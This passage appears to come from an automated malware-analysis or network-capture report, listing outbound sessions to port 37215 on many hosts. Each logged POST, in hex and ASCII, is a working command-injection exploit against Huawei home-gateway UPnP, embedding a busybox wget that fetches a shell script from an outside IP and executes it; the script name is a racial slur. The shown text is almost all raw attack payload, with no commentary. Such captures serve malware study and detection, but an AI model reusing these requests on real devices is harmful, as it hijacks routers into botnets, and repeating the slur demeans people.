xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.15	41394	197.56.197.185	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:23.804630995 CET	844	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:24.113507032 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.15	48816	94.120.251.205	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:28.359591961 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.15	46302	94.120.63.150	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:28.359811068 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.15	48696	94.121.27.46	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:28.359997988 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.15	58458	94.121.158.98	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:28.360131025 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.15	33368	94.121.98.209	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:28.360285997 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.15	39312	94.122.225.65	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:28.360445023 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.15	52680	94.122.61.208	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:28.360618114 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.15	34436	94.123.50.125	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:28.360862017 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 